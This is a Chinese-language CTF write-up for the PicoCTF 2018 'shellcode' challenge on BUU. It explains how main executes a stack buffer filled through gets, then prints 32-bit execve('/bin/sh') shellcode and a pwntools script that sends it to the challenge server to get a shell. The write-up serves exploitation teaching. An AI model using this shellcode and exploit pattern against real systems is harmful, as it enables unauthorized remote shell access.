BUU pwn PicoCTF_2018_shellcode
这道题需要我们了解x86汇编的lea指令。lea dst, src
指的是dst=&src
file可知32bit ELF
IDA F5发现反编译失败,查看main函数的汇编,发现会调用vuln函数。其中lea eax, [ebp+var_A0]
指的是把[ebp+var_A0]的地址(也就是ebp+var_A0的值)赋给eax,作为vuln的参数。后面又出现了lea eax, [ebp+var_A0]
,并通过call eax
来执行ebp+var_A0地址处的函数。
查看vuln函数,里面将[ebp+8]传参给gets,这表示可以从标准输入中读取shellcode并写入到ebp+8处。反编译可知,ebp+8正是vuln的参数ebp+var_A0。所以最终main的call eax
会调用ebp+var_A0处我们所写的shellcode。
栈结构如图所示(上面为高地址)
而shellcode往往是一个系统调用execv('/bin/sh'),其汇编为
xor eax,eax
xor edx,edx
push edx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
mov al,0xB
int 0x80
其中al是eax的低8位
最后构造payload
from pwn import *
r = remote("node4.buuoj.cn", 25862)
shellcode='''
xor eax,eax
xor edx,edx
push edx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
mov al,0xB
int 0x80
'''
payload = asm(shellcode)
r.sendline(payload)
r.interactive()
注意这个payload我在Linux可以执行,Windows下会报错pwnlib.exception.PwnlibException: Could not find 'as' installed for ContextType(arch = 'amd64', bits = 64, endian = 'little', log_level = 10, os = 'linux')